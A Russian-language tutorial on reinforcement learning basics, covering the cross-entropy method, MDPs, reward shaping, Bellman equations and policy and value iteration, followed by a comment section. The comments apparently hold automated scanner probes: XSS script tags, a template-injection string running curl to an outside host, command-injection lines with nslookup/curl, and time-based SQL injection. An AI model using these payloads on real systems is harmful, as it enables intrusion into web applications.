Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9513 / Markets: 114185
Market Cap: $ 3 817 453 951 971 / 24h Vol: $ 234 712 881 307 / BTC Dominance: 58.482353958733%

Н Новости

Intro RL

Для меня разобраться в базовых концепциях Reinforcement Learning оказалось не так просто, особенно сложными оказались функции Беллмана. Эта статья — моя попытка систематизировать материал и объяснить себе (и, возможно, другим), что, откуда и почему берется. Будет здорово, если она поможет кому-то разложить все по полочкам.

¯\_(ツ)_/¯

Полезные ссылки:
Practical RL (ШАД) (самые полезные материалы были тут)
Лекция №15 "Обучение с подкреплением"
Тренировки. Лекция 3: Введение в обучение с подкреплением
Тренировки. Лекция 4: Q-learning, Deep Q-learning
Тренировки. Лекция 5: Современные методы обучения с подкреплением. Advantage actor critic, RLHF
11.1. Обучение с подкреплением

Мой тг канал: Not Magic Neural Networks

Содержание

1. Intro
2. Определения
3. Cross-Entropy Method, CEM
4. Markov decision process, MDP
5. Награда (reward) и коэффициент дисконтирования

6. Оценочные функции
6.1. Backup Tree & динамическое программирование
6.2. State-value function и Policy Evaluation
6.3. Policy Improvement и action-value function
6.4. Уравнения оптимальности Беллмана

7. Generalized Policy iteration

1. Intro

Дрессировка щенка
Дрессировка щенка

На гифке щенок учится через игру: он пробует разные действия, наблюдает за реакцией человека и запоминает, что именно приносит ему вкусняшку. Когда за правильное поведение он получает награду, у него формируется связь между действием и результатом — «сделал правильно → получил вкусняшку». Так шаг за шагом песик осваивает новые команды, учится понимать, чего от него ждут, и радостно повторяет то, что приносит успех.

Такое обучение называется Reinforcement Learning (RL) — обучение методом проб и ошибок. Термин reinforcement ("подкрепление") заимствован из поведенческой психологии и терапии и означает последствия (награду или наказание), которые увеличивают или уменьшают вероятность повторения определённого поведения.

Главное отличие RL от обучения с учителем (supervised learning) состоит в том, что этот подход не требует заранее размеченных данных и не опирается на дифференцируемую функцию потерь.

Опишем более формально рассуждения выше:
Пусть у нас есть агент, который взаимодействует с окружающей средой. В каждый момент времени агент наблюдает состояние среды и, опираясь на эти наблюдения, совершает действие. В результате действия состояние среды изменяется.
Процедуру выбора действия будем называть стратегией (или политикой).
За каждое свое действие агент получает награду (или штраф).
Цель агента – изменить свою политику так, чтобы получить максимальную награду. Процесс взаимодействия агента и среды задается динамикой среды, а серия взаимодействий агента со средой от начального до терминального состояния называется эпизодом.

В примере выше, агентом является сам щенок. Он наблюдает за окружающей средой — своим дрессировщиком — и, следуя своей политике, выбирает, какие действия совершить. Если песик всё сделал правильно, его хвалят и угощают вкусняшкой — это и есть награда. Если же действие оказалось неправильным, награды нет, и песику приходится изменить свою политику, пробуя другие действия. Со временем он учится выбирать такую последовательность действий, которая приносит как можно больше вкусняшек — то есть максимизирует свою суммарную награду.

RL
RL

2. Определения:

  • Reinforcement Learning — обучение методом проб и ошибок.

  • Agent (агент) — интеллектуальная система (программа, робот, алгоритм), которая принимает решения и совершает действия в некоторой среде с целью достижения определённых целей.

  • Environment (среда) — всё, с чем взаимодействует агент: внешний мир, в котором происходят события и изменения в ответ на действия агента.

  • Observation (наблюдение) — информация, которую агент получает от среды в каждый момент времени t.

  • a = \pi (s): active (действие агента) — конкретное решение или команда, которую агент выбирает и выполняет в среде с целью повлиять на неё.

  • s: stage (состояние) – описание текущей ситуации, в которой находится агент.

  • \pi (a|s): policy (политика или стратегия поведения агента) — вероятностное распределение действий a при условии состояния s.

  • R_{s,s'}^{a}: Reward (награда) — цели и желания, закодированные в скалярном сигнале. Награда может быть положительной, отрицательной (штрафом) или нейтральной. Она зависит от текущего состояния среды s, выбранного агентом действия a и следующего состояния среды s'.

  • G = \sum R_i : return или cumulative reward – просуммированый по времени reward.

  • G \rightarrow \max_{\pi} : цель агента — максимизировать return с помощью оптимальной политики.

  • Траектория — цепочка генерируемых в ходе взаимодействия случайных величин (s_0,a_0), (s_1,a_1),(s_2,a_2),…

3. Cross-Entropy Method, CEM

Кросс-энтропийный метод (Cross-Entropy Method, CEM) — это простой алгоритм, который используется для поиска оптимальной политики путем итеративного улучшения выборки решений.

Для простоты будем считать, что количество состояний и действий нашей задачи – конечно. Тогда политику\piможно задать с помощью матрицы у которой по строкам — состояния, а по столбцам — действия.

Алгоритм:

  1. Инициализируем политику \pi (случайным или равновероятным образом).

    \pi = \begin{array}{c|cccc}      & a_1 & a_2 & \dots & a_n \\ \hline s_1 & P(a_1|s_1) & P(a_2|s_1) & \dots & P(a_n|s_1) \\ s_2 & P(a_1|s_2) & P(a_2|s_2) & \dots & P(a_n|s_2) \\ \vdots & \vdots & \vdots & \ddots & \vdots \\ s_m & P(a_1|s_m) & P(a_2|s_m) & \dots & P(a_n|s_m) \end{array} = A_{s,a}
  2. Семплируем N сессий с данной политикой.

  3. Выбираем M сессий с наибольшей наградой (элиту).

    \text{Elite} = [(s_0, a_0), (s_1, a_1), \ldots, (s_M, a_M)]
  4. Обновляем политику в соответствии с элитой (повышаем вероятность "правильных" действий, согласно элитным):

    \pi_{\text{new}}(a \mid s) =  \frac{  \sum\limits_{s_t, a_t \in \text{Elite}} [s_t = s][a_t = a]  }{  \sum\limits_{s_t, a_t \in \text{Elite}} [s_t = s]  } = \frac{\text{Сколько раз совершали действие a в состоянии s}}{\text{Сколько раз были в состоянии s}}
  5. Возвращаемся к шагу 2.

Step-by-step view (Practical_RL)
Step-by-step view (Practical_RL)
Approximate cross-entropy method

Можно рассмотреть выбор действия при условии состояния (политику) как задачу классификации: \pi(a|s) = f_{\theta}(a,s), где f_{\theta} может быть случайным лесом, логрегрессей или нейронной сетью.

Аналогично, семплируем N сессий и выбираем из них M элитных.

Максимизируем правдоподобие элитных сессий:

\pi(a|s)_{\text{new}} = argmax_{\pi} \sum_{s,a \in \text{elite}} \log \pi(a_i|s_i)

Отсюда название "метод кросс-энтропии": максимизация правдопобия = минимазация кросс-энтропии.

Из плюсов, кросс-энтропийный метод легко реализовывать и он дает хорошие результаты, устойчив относительно сходимости в локальный оптимум. Однако, этот метод рассматривает среду как «чёрный ящик» – то есть он ничего не знает о том что внутри среды происходит.

Ноутбук потыкать (вторая домашка с тренировок).

Попробуем улучшить его, учитывая внутреннюю структуру среды. Эта структура описывается Марковским свойством.

4. Markov decision process, MDP

Чаще всего, после совершения действия агентом, состояние среды будет меняться. Например, при игре в шахматы агент должен учитывать то, что после его хода и хода оппонента позиция на доске изменится.

Нам нужно определить некий процесс, в котором агент последовательно переходит из состояния в состояние в зависимости от своих действий, и в некоторых состояниях получая награды.

Марковский процесс (цепь) — это кортеж (S,P), гдеS — множество состояний, P — матрица переходов (transition matrix), состоящая из вероятностей оказаться в состоянии s', при условии, что среда находилась в состоянии s.

P_{ss'} = P(S_{t+1} = s' \mid S_{t} = s)

Марковское свойство — это условная независимость от истории, кроме как от текущего состояния и текущего действия, для награды и следующего состояния.

Среда является Марковской, когда награда r и следующее состояние s' зависят только от текущего состояния среды s.

Марковский процессом принятия решений (MDP) – это кортеж(\mathbb S,\mathbb A,\mathbb R,\mathbb P,\gamma), где\mathbb S — множество состояний, \mathbb A — множество действий,\mathbb P_{ss'}^{a} — матрица переходов,\mathbb R_{ss'}^{a} — функция награды,\gammaкоэффициент дисконтирования.

MDP =  (\mathbb S,\mathbb A,\mathbb R,\mathbb P,\gamma)

5. Награда (reward) и коэффициент дисконтирования

Суммарная награда (cumulative reward) — это сумма всех наград на всех шагах агента:

G_t = \sum_t^T R_i

где R_i — мгновенная награда (immediate reward),T— конец эпизода.

Цель агента — максимизировать кумулятивную награду. То есть, это наше оптимизируемое значение.

Легко заметить, что цели агента и наши собственные цели могут сильно различаться. Более того, правильно задать функцию награды так, чтобы она действительно отражала наши намерения, на практике оказывается совсем непросто.

Например, если агент получает награду за экономию топлива, то он перестаёт двигаться вообще, ведь так он минимизирует расход и получает максимум награды. Если агент получает награду за быстрое прибытие в пункт назначения, то он начинает превышать скорость и нарушать правила, что опасно. Если агент получает награду на каждом шаге за приближение к цели, то его оптимальной политикой будет блуждание по кругу, собирая бесконечную сумму наград, вместо того чтобы прийти к цели и закончить эпизод.

Для того чтобы избежать ситуацию, когда агент накапливает бесконечную сумму наград, используется коэффициент дисконтирования \gamma, который показывает, насколько ценными являются будущие награды на текущий момент:

G_t = \sum R_t + \gamma (R_{t-1} + \gamma R_{t-2} + \ldots) = R_t + \gamma G_{t-1}
  • При \gamma \rightarrow 0смотрим на меньшее количество шагов назад, при \gamma = 0получим "жадный алгоритм".

  • При \gamma \rightarrow 1смотрим на большее количество шагов, при \gamma=1смотрим на всю историю.

  • При \gamma = 0.99 видим около 100 шагов назад, при\gamma = 0.95около 20 шагов, при \gamma = 0.9около 10 шагов.

Важно понимать, что выбор\gammaне гиперпараметр алгоритма, а часть задачи. Оптимальное поведение агента для разных\gamma может отличаться.

Таким образом, новая цель агента — максимизировать суммарную дисконтированную награду.

Однако, дисконтированная награда лишь отчасти убирает проблему зацикливания, но не решает ее полностью.

Ещё один пример: если агент, играющий в шахматы, получает награду за каждую съеденную фигуру, то оптимальной политикой для него станет стратегия, при которой он старается захватить как можно больше фигур. Однако такая политика не гарантирует победу — агент может съедать много фигур, но в итоге проигрывать партию.

С одной стороны, функция награды должна максимально соответствовать целям, которые мы хотим, чтобы агент достигал. Кажется логичным награждать только за конечный успех — например, за победу. Но в таком случае возникает проблема разреженной награды (sparse rewards): агент получает обратную связь лишь в конце эпизода и не может понять, какие конкретно действия привели к успеху.

Чтобы облегчить обучение, применяют приём под названием reward shapingформирование награды. Идея заключается в том, чтобы добавить вспомогательную функцию-подсказку F, которая помогает агенту двигаться в нужном направлении. Обычно F(s,a,s′) получается как разность потенциалов, гдеs – текущее состояние, a– действие, s' – будущее состояние.

R'(s,a,s') = R(s,a,s') + F(s,a,s')F(s,a,s') = \gamma \Phi(s') - \Phi(s)
  • R(s,a,s')— оригинальная награда

  • F(s,a,s')— shaping-функция (дополнительная награда), которая зависит от состояний и/или действий.

  • \Phi(s)potential function, «потенциал» состояния, который показывает, насколько хорошо находиться в этом состоянии.

Таким образом, если агент движется в направлении «лучших» состояний, он получает дополнительную награду. Если идет «назад», получает штраф.

6. Оценочные функции

6.1. Backup Tree & динамическое программирование

Давайте построим дерево следующей структуры:
— на светлой вершине лежит текущее состояние
— на темных вершинах лежат действия
— после действия, на ребре лежит награда
— оказываемся в новом состоянии (на светлой вершине)
Оптимальной политикой будет путь, содержащий максимальную сумму наград от корня до листа.

Такая задача решается с помощью динамического программирования: идем от листьев к корню дерева и тащим за собой максимальную сумму наград. Но для того чтобы протащить значение будущей награды вверх по дереву, нужно ввести два понятия: функция полезности состояния и функция полезности состояния действия (state-value и action-value functions).

Backup Tree
Backup Tree

Функции ценности — это функции состояний (или пар состояний-действий), которые оценивают, насколько хорошо агенту находиться в данном состоянии (или насколько хорошо выполнять данное действие в данном состоянии).

6.2. State-value function

Пусть мы хотим понять, насколько хорошее наше текущее состояние s.
Цель агента – максимизировать суммарную дисконтированную награду. Тогда пусть "хорошестю текущего состояния s" будет ожидаемая суммарная дисконтированная награда, если мы будем следовать нашей политике \pi.
При этом, путь от текущего состояния s до терминального содержит очень много случайностей: начальное состояние, действие из нашей политики, следующее состояние, следующая награда... Эту "хорошесть" называют state-value function.

State-value function v_{\pi} — это математическое ожидание суммарной дисконтированной награды G, которую агент получит, находясь в состоянии s и следуя политике \pi.

Для фиксированной политики\piмы можем посчитать суммарную дисконтированную награду Gчестно взяв мат. ожидание:

v_\pi(s) \triangleq \mathbb{E}_\pi \big[ G_t \mid S_t = s \big] =

= \mathbb{E}\pi \left[ R_t + \gamma G_{t+1} \mid S_t = s \right] =

= \sum_a \pi(a \mid s) \sum_{r, s'} p(r, s' \mid s, a) \Big[ r + \gamma \mathbb{E}\pi \big[ G_{t+1} \mid S_{t+1} = s' \big] \Big] =

  • s – текущее состояние,s' – следующее состояние.

  • Стохастичность политики \pi(a|s) в том что агент может выбирать разные действия с ненулевыми вероятностями.

  • Стохастичность окружения в том что следующее состояние s' и награда r могут быть случайными.

  • \gamma \mathbb{E}\pi \big[ G_{t+1} \mid S_{t+1} = s' \big] \Big]— дисконтированное мат. ожидание от будущей награды, параметризованное только будущим действием s', которое можно свернуть в v_\pi(s').

= \sum_a \pi(a \mid s) \sum_{r, s'} p(r, s' \mid s, a) \Big[ r + \gamma v_\pi(s') \Big]

[1] \quad \quad v_\pi(s) = \sum_a \pi(a \mid s) \sum_{r, s'} p(r, s' \mid s, a) \Big[ r + \gamma v_\pi(s') \Big]

Или так:

[1] \quad \quad v_{\pi}(s) = \mathbb{E}_{a} \mathbb{E}_{s'} \left[ r(s, a) + \gamma v^{\pi}(s') \right]

Обнаружив рекуррентное соотношение, мы поняли как пересчитать v_\pi(s) имея v_\pi(s').

v(s) (функция качества состояния) — средняя награда, которую получит агент, начиная играть с состояния s при следовании политики \pi(оценка, насколько хорошо находиться в состоянии s).

Посчитаем v-функцию для текущего состояния s

Пусть мы имеем следующее дерево и находимся в состоянии s(в корне).

Bellman equation on a backup tree
Bellman equation on a backup tree

Наша политика \pi говорит, что из текущего состояния s выберем действие a_0 с вероятностью 0.7, а действие a_1c вероятностью 0.3.
Совершив действие a_0 награда будет 0, совершив действие a_1, награда будет 1.
Действие a_0 приведет нас в терминальное состояние с вероятностью 1. Действие a_1 приведет нас в состояние s_0 с вероятностью 0.1, а в s_1 с вероятностью 0.9.
Значение функций-состояния v_{\pi} в состояниях s_0и s_1 нам уже известны.
Давайте посчитаем функцию-состояния v_{\pi}для нашего текущего состояния sбез учета дисконтирования (для корня дерева).

Просто считаем математическое ожидание:

V(s) = \color{red}{0.3} \left[ \color{blue}{0.1} (\color{yellow}{1} + \color{green}{10})  + \color{blue}{0.9} (\color{yellow}{1} + \color{green}{-10}) \right] + \color{red}{0.7} \left[ \color{blue}{1.0} (\color{yellow}{0} + \color{green}{0}) \right] = 2.76

Если мы посчитаем v-функцию для каждого состояния s, то сможем понять как нам надо поменять нашу политику \pi, чтобы она стала оптимальной: нам просто надо идти туда, где награда больше.

e49b4f0b52018bcd5b63fdf031f36616.png

Как же можно посчитать v-функцию? Рассмотрим два способа: матричный и метод простой итерации.

Policy Evaluation: matrix way (первый способ)

Посмотрим еще раз на уравнение [1]:v_{\pi}(s) = \mathbb{E}_{a} \mathbb{E}_{s'} \left[ r(s, a) + \gamma v_{\pi}(s') \right]

Разделим его на две части:v_{\pi}(s) = \mathbb{E}_{a} \mathbb{E}_{s'} \left[ r(s, a)\right]  + \mathbb{E}_{a} \mathbb{E}_{s'} \gamma \left[v_{\pi}(s') \right]

Проиндексировав все состояния, посмотрим на v-функцию как на вектор: каждому состоянию s будет соответствовать свое значение v(s).

Математическое ожидание награды по действиям и по следующему состоянию обозначим матрицей B = \mathbb{E}_{a} \mathbb{E}_{s'} \left[ r(s, a)\right]– вектор средних наград.

Вторую часть запишем в следующем виде: \gamma P v = \gamma \mathbb{E}_{a} \mathbb{E}_{s'} \left[v_{\pi}(s') \right], где P_{s \times s} – матрица содержащая вероятности перехода из одного состояния в другое, то есть P_{ij} = p(s_j | s_i)– вероятность попасть в состояние s_j при условии s_i с учетом текущей политики \pi.

Тогда уравнение [1] можно записать v_{\pi} = B + \gamma P v_{\pi}.
Значения дляB, \gamma и P нам известны. Решим матричное уравнение относительно v_{\pi}:

(I - \gamma P) v_{\pi} = B

v_{\pi} = B(I - \gamma P)^{-1}

Данное уравнение всегда разрешимо (это гарантирует 0 < \gamma \leq 1), но вычисление обратной матрицы может быть дорого и неустойчиво.

Policy Evaluation: fixed-point iteration (второй способ)

Можно решить уравнение [1] методом простой итерации (fixed-point iteration).

Метод заключается в том что мы будем обновлять оценку v(s)до тех пор, пока при подставлении её в правую часть уравнения Беллмана ничего не изменится.

То есть, итеративно для каждого состояния s будем пересчитывать v_{\pi} по следующей формуле: v^{k+1}(s) = \mathbb{E}_{a} \mathbb{E}_{s'} \left[ r(s, a) + \gamma v^{k}(s') \right]


1. Input: policy \pi(a|s), discount factor \gamma, small threshold 0 < \gamma \leq 1
2. Initialize v_{\pi} = 0
3. Repeat:
4. For s in S:
5. v^{k+1}(s) = \mathbb{E}_{a} \mathbb{E}_{s'} \left[ r(s, a) + \gamma v^{k}(s') \right]
6. delta = max(delta, |v^{k+1} - v^{k}|)
7. until delta < \varepsilon
8. output v(s)


Этот процесс сходится, потому что оператор Беллмана является сжимающим отображением при0 <\gamma < 1.

6.3. Policy Improvement и action-value function q

Посчитав значения v-функции хочется понять как именно улучшить политику.
Давайте будем сравнивать разные политики с помощью v-функции:

\pi \geq \pi' \iff v_\pi(s) \geq v_{\pi'} (s) \quad \forall s

И пусть \pi^* будет лучшей (оптимальной) политикой.

Мы хотим чтобы чтобы оптимальная политика\pi^*вела нас в состояния с большими наградами. Однако, v-функция не зависит от действия.

Тогда давайте выбирать то действие, у которого будет максимальна мгновенная награда + дисконтированная функция состояния:

\pi'(a|s) = \arg \max_a \mathbb{E}_{s'} [R + \gamma v_{\pi}(s)]

То есть, мы даем себе выбор первого действия a в состоянии s.
И для простоты обозначим это новой функцией q_{\pi}(s, a).

Action-value function q

Action-value function — математическое ожидание суммарной дисконтированной награды G, если из состояния s мы делаем первое действие a(причем не обязательно соответствующее политике \pi), а дальше играем следуя политике \pi.

q_\pi(s, a) = \mathbb{E}_\pi \big[ G_t \mid S_t = s, A_t = a \big] =
Проделаем все тоже самое, что и в state-value

= \mathbb{E}_\pi \big[ R_t + \gamma G_{t+1} \mid S_t = s, A_t = a \big] =

= \sum_{r, s'} p(r, s' \mid s, a) \Big[ r + \gamma \mathbb{E}_\pi \big[ G_{t+1} \mid S_{t+1} = s' \big] \Big] =

  • Замечаем, что \mathbb{E}_\pi \big[ G_{t+1} \mid S_{t+1} = s' \big]— это v_\pi(s')и обнаруживаем, что можно выписать qчерез v:

= \sum_{r, s'} p(r, s' \mid s, a) \Big[ r + \gamma v_\pi(s') \Big]

q_{\pi}(s, a)(функция качества всех действий из состояния s) – говорит насколько хорошо выбрать действие a в состоянии s, если потом следовать политике \pi.

Выше мы выписали q-функцию через v:

[2] \quad\quad q_\pi(s, a) = \sum_{r, s'} p(r, s' \mid s, a) \Big[ r + \gamma v_\pi(s') \Big]

Или так:

[2] \quad\quad q_\pi(s, a) = \mathbb{E}_{s'} [r + \gamma v_{\pi}(s')]

Тогда новая политика\pi'(a|s) должна выбирать \arg\max_{a} q_{\pi}(s, a):

\pi'(a|s) = \arg\max_{a} q_{\pi}(s, a)

Более того, улучшение политики через максимизацию q-функции приводит к глобально оптимальной политике. Это называется Policy Improvement.

Посчитаем значение q-функции в состоянии s для действий a_0 и a_1:
bb9591b50527e251b71022e06be413c0.png

q(s, a_0) = 1 ( 0 + 0) = 0

q(s, a_1) = 0.1 (1 + 10) + 0.9 (1 - 10) = -7

Заметим, что оптимальной политикой будет закончить игру, выбрав действие a_0.

Если мы знаем политику\pi, то можем выписать v-функцию через q :

v_\pi(s)= \sum_a \pi(a \mid s) \sum_{r, s'} p(r, s' \mid s, a) \big[ r + \gamma v_\pi(s') \big] =

  • Заметим, что \sum_{r, s'} p(r, s' \mid s, a) \big[ r + \gamma v_\pi(s') \big] в точности из формулы выше (где выражали q через v). Получаем:

[3] \quad \quad v_\pi(s) = \sum_a \pi(a \mid s) q_\pi(s, a)

Подставив в формулу [2] вместоv_\pi (s')формулу [3] получим рекуррентное соотношение для q:

[4] \quad \quad q_\pi(s, a) = \sum_{r, s'} p(r, s' \mid s, a) \Big[ r + \gamma \sum_{a'} \pi(a' \mid s') q_\pi(s', a') \Big]

6.4. Уравнения оптимальности Беллмана

Формулы [1], [2], [3], [4] называются уравнениями Беллмана для математического ожидания.

[1] \quad \quad v_\pi(s) = \sum_a \pi(a \mid s) \sum_{r, s'} p(r, s' \mid s, a) \Big[ r + \gamma v_\pi(s') \Big]

[2] \quad\quad q_\pi(s, a) = \sum_{r, s'} p(r, s' \mid s, a) \Big[ r + \gamma v_\pi(s') \Big]

[3] \quad \quad v_\pi(s) = \sum_a \pi(a \mid s) q_\pi(s, a)

[4] \quad \quad q_\pi(s, a) = \sum_{r, s'} p(r, s' \mid s, a) \Big[ r + \gamma \sum_{a'} \pi(a' \mid s') q_\pi(s', a') \Big]

Данные уравнения являются ключевым результатом для построения всех последующих RL-алгоритмов.

Если \pi_*— лучшая (оптимальная) политика.
Оптимальная state-value функция:v_∗(s) = \max v_\pi(s).
Оптимальная action-value функция : q_∗(s,a)=max_\pi a_\pi(s,a).

В любом конечном MDP существует хотя бы одна оптимальная политика.

Уравнение оптимальности Беллмана для v— это то же уравнение Беллмана для мат. ожидания, только с максимумом по действиям (сравниваем действия между собой по будущей награде).

Уравнение оптимальности Беллмана для v
Уравнение оптимальности Беллмана для v
[5] \quad \quad v_{*}(s)  = \color{red}{\max_{a}} \mathbb{E}_{s'}[r + \gamma v_{*}(s')]

Уравнение оптимальности Беллмана для qотличается от уравнения Беллмана для мат. ожидания тем, что мы берем максимум по политике:

Уравнение оптимальности Беллмана для q
Уравнение оптимальности Беллмана для q
[6] \quad \quad q_{*}(s, a) = \mathbb{E}_{s'} \left[ R + \gamma \color{red}{\max_{a'}} q_{*}(s', \color{red}{a'}) \right]

Aналогично определим связь между v_* и q_*:

[7] \quad \quad q_{*}(s, a) = \mathbb{E}_{s'} \left[ R + \gamma v_{*}(s') \right][8] \quad \quad v_{*}(s)  = \max_{a} q_{*} (s, a)

7. Generalized Policy Iteration

Policy Iteration — это алгоритм, который ищет оптимальную политику \pi_* с помощью итеративного чередования двух шагов: оценки политики (policy evaluation) и улучшения политики (policy improvement).

policy = Initialize_policy()
while not optimal:
  # оцениваем политику (матрично или итеративно)
  v = Evaluate_Policy(policy)  
  # улучшим политику, взяв действие как argmax
  new_policy = imprive_policy(v)
  # проверяем, сошлись ли к глобально оптимальной политике
  is_optimal = [new_polixy == policy] 
  policy = new_policy

Подставим конкретные способы оценки и обновления политики:

В качестве оценки политикиEvaluate_Policy(policy) возьмем метод простой итерации: для всех состояний s \in S будем применять уравнение Беллмана к v, пока не сойдемся.

for some iterations:
  for s in S:
     v(s) = evaluate_policy_in_state(s, policy)

В качестве улучшения политики imprive_policy(v) возьмём жадное обновление по argmax: для всех состояний s \in S будем выбирать действие, которое максимизирует ожидаемое значение награды \arg \max_{a} q(s,a).

for s in S:
  policy(s) = improve_polic_in_statr(s, v)

На практике можно улучшать политику не во всех состояниях, а в некоторых на каждом шаге. Или, можно оценивать политику только частично (ограничив число итераций), не доводя до сходимости. Тем не менее, даже при таком чередовании частичных шагов оценки и улучшения, алгоритм всё равно гарантированно сойдётся. Такой подход называется обобщённой итерацией по политике (Generalized Policy Iteration, GPI).

Из GPI вытекают два важных частных случая:

  1. Policy Iteration (итерация по политике) — когда оценка политики проводится до сходимости, а затем выполняется полное жадное улучшение политики (его рассмотрели выше).

  2. Value Iteration (итерация по значениям) — когда выполняется всего один шаг оценки (частичное обновление) и сразу жадное улучшение политики.

for 1 iterations:
  for s in S:
     v(s) = evaluate_policy_in_state(s, policy)
for s in S:
  policy(s) = improve_polic_in_statr(s, v)

Выкинем for по iterations и объединим в один цикл по S:

for s in S:
  v(s) = evaluate_policy_in_state(s, policy)
  policy(s) = improve_policy_in_statr(s, v)

Распишем шаг Policy Evaluation:
v(s) = \mathbb{E}_{a} \mathbb{E}_{s'} \left[ r + \gamma v(s') \right]

Шаг improve policy:
\pi(s) = \arg \max_a \mathbb{E}_{s'} \left[ r + \gamma v(s') \right]

Подставив одну операцию в другую и получим в точности уравнение Беллмана для оптимальных политик[5]:v(s) = \max_a \mathbb{E}_{s'} \left[ r + \gamma v(s') \right]

Данный алгоритм – это метод простой итерации для оптимального уравнения Беллмана. Он будет сходиться, поскольку оптимальные уравнения Беллмана тоже являются операторами сжатия.


1. InitializeV^{(0)}(s)=0, for alls
2. Fori=0, 1, 2, \dots
3.\quad V_{(i+1)}(s) = \max_a \sum_{s'} P(s' | s,a) \cdot [ r(s,a,s') + \gamma V_{i}(s')] \text{,} \quad \forall s


Ноутбук потыкать (семинар с курса Practical RL). Надеюсь что все верно (• ◡•)

Резюмируя

RL(обучение с подкреплением) – обучение методом проб и ошибок.
Главное отличие от обучения с учителем – не требует размеченной выборки и дифференцируемой лосс функции.

Reward (награда) – скалярная величина, которая предоставляет какой-то «сигнал» для обучения (хорошо/плохо). Задача агента – максимизировать сумму наград.
Правильно выбрать функцию награды не так просто: с одной стороны надо награждать агента только за достижение цели, с другой награды не должны быть слишком редкими.
Для задач с бесконечными эпизодами добавили параметр дисконтирования \gammaчтобы учитывать лишь часть будущих наград, а не накапливать бесконечную сумму.

State-value function v – функция, показывающая насколько в текущем состоянии s все хорошо. С помощью Policy Evaluation оцениваем v(s) для каждого состояния s. Есть два способа: решить СЛАУ (matrix way) или с помощью методы простых итерций (fixed-point iteration).

Action-value function q – функция, показывающая насколько хорошо в текущем состоянии sсовершить действие a. Policy Improvement помогает выбрать оптимальное действие в состоянии s (политику) как \arg \max_a q(s, a_i).

Generalized Policy Iteration – алгоритм поиска оптимальной стратегии путем чередования Policy Evaluation и Policy Improvement. Существует две крайности данного алгоритма: Policy Iteration и Value Iteration.

Policy Iteration – когда Policy Evaluation считается до сходимости.
1. Инициализируем \pi_0 (случайно или равновероятно)
2. Forn=0, 1, 2, \dots
3. Считаем state-value функциюV^{\pi_{n}}(методом фиксированной точки)
4. ИспользуемV^{\pi_{n}}для подсчета state-action-value функцииQ^{\pi_{n}}
5. Ищем новую политикуQ^{\pi_{n}} = \sum_{s'} P(s' | s,a) \cdot [ r(s,a,s') + \gamma V_{i}(s')]

Value Iteration – когда выполняется всего один шаг Policy Evaluation и сразу Policy Improvement.
1. Инициализируем V^{(0)}(s)=0(или еще чем-то)
2. Fori=0, 1, 2, \dots
3. \quad V_{(i+1)}(s) = \max_a \sum_{s'} P(s' | s,a) \cdot [ r(s,a,s') + \gamma V_{i}(s')] \text{,} \quad \forall s
4. Ищем политику как\pi(s) = \operatorname*{argmax}_a Q(s,a).


Рассуждения выше справедливы для относительно простых задач, где известна матрица переходов P(s',r|s,a) из одного состояния в другое при каждом действии. Такие задачи еще называют Model-based RL.

На данный момент готовлю вторую часть про задачи, когда нам не известна модель среды Model-free RL.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

